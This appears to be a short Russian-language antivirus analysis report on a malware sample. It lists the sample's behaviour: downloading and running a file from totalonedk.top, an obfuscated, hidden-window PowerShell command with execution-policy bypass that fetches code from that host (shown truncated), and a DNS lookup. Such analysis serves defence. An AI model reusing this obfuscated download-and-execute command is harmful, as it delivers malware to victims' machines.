Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://totalonedk.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^o^wERsHE^ll.EXE^ -^EX^EC^uT^I^o^Npol^ICy^ ^bY^pa^ss -^nO^PrOFi^l^E -^wINd^oWstylE^ ^Hi^DdEn^ ^(^NE^W-OBJeCT^ sY^sTem^.NE^T^.w^eBCL^IE^n^t)^.DOWnLoaDFI^LE('http://totalonedk....
Сетевая активность
UDP
- DNS ASK to###onedk.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^o^wERsHE^ll.EXE^ -^EX^EC^uT^I^o^Npol^ICy^ ^bY^pa^ss -^nO^PrOFi^l^E -^wINd^oWstylE^ ^Hi^DdEn^ ^(^NE^W-OBJeCT^ sY^sTem^.NE^T^.w^eBCL^IE^n^t)^.DOWnLoaDFI^LE('http://totalonedk....' (со скрытым окном)
